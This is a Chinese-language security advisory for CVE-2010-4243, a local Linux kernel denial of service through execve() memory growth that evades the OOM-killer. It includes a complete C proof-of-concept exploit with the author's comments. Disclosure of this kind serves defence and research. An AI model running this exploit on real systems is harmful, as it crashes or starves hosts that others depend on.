安全研究

安全漏洞
Linux Kernel "execve()"内存扩展"OOM-killer"本地拒绝服务漏洞

发布日期:2010-08-27
更新日期:2011-01-18

受影响系统:
Linux kernel 2.6.24.3 - 2.6.37
RedHat Enterprise Linux Desktop v.5 client
描述:
BUGTRAQ  ID: 45004
CVE ID: CVE-2010-4243

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的"OOM-killer"功能在实现上存在安全漏洞,本地攻击者可利用此漏洞终止不相关的进程,造成拒绝服务。

漏洞源于oom_kill()函数看不到没有附加到任何线程的已分配内存。

<*来源:Brad Spengler (spender@grsecurity.net
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* known for over a year, fixed in grsec
   bug is due to a bad limit on the max size of the stack for 32bit apps
   on a 64bit OS.   Instead of them being limited to 1/4th of a 32bit
   address space, they're limited to 1/4th of a 64bit address space -- oops!
   in combination with vanilla ASLR, it triggers a BUG() as the stack
   tries to expand around the address space when shifted
   Below mmap_min_addr you say? uh oh! ;)

   Reported to Ted Tso in December 2009
   Linus today (Aug 13 2010) silently fixes tangential issue:
   http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893

   The second bug here is that the memory usage explodes within the
   kernel from a single 128k allocation in userland
   The explosion of memory isn't accounted for by any task so it won't
   be terminated by the OOM killer

   curious what actual vuln was involved that they were trying
   to silently fix, as I don't think it's the one below
   clobbering data in a suid app by growing the stack into the mapping
   for the image? ;)  I smell privesc...mumblings of X server/recursion

   ulimit -s unlimited
   ./64bit_dos

   SELinux is here to save us though with its fine-grained controls!
   Wait, it doesn't?
   Clearly the solution is to throw a buggy KVM on top of it
   Not enough?  Ok, we'll throw in an extra SELinux, that'll really
   throw those hackers off when they use the same exact exploit on the
   host as they do on the guest!
   COMMON CRITERIA HERE I COME!
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/personality.h&gt;

#define NUM_ARGS 24550

int main(void)
{
        char **args;
        char *str;
        int i;

    /* not needed, just makes it easier for machines with less RAM */
    personality(PER_LINUX32_3GB);

        str = malloc(128 * 1024);
        memset(str, 'A', 128 * 1024 - 1);
        str[128 * 1024 - 1] = '\0';
        args = malloc(NUM_ARGS * sizeof(char *));
        for (i = 0; i &lt; (NUM_ARGS - 1); i++)
                args[i] = str;
        args[i] = NULL;

        execv("/bin/sh", args);
        printf("execve failed\n");

        return 0;
}

建议:
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/

浏览次数:3359
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障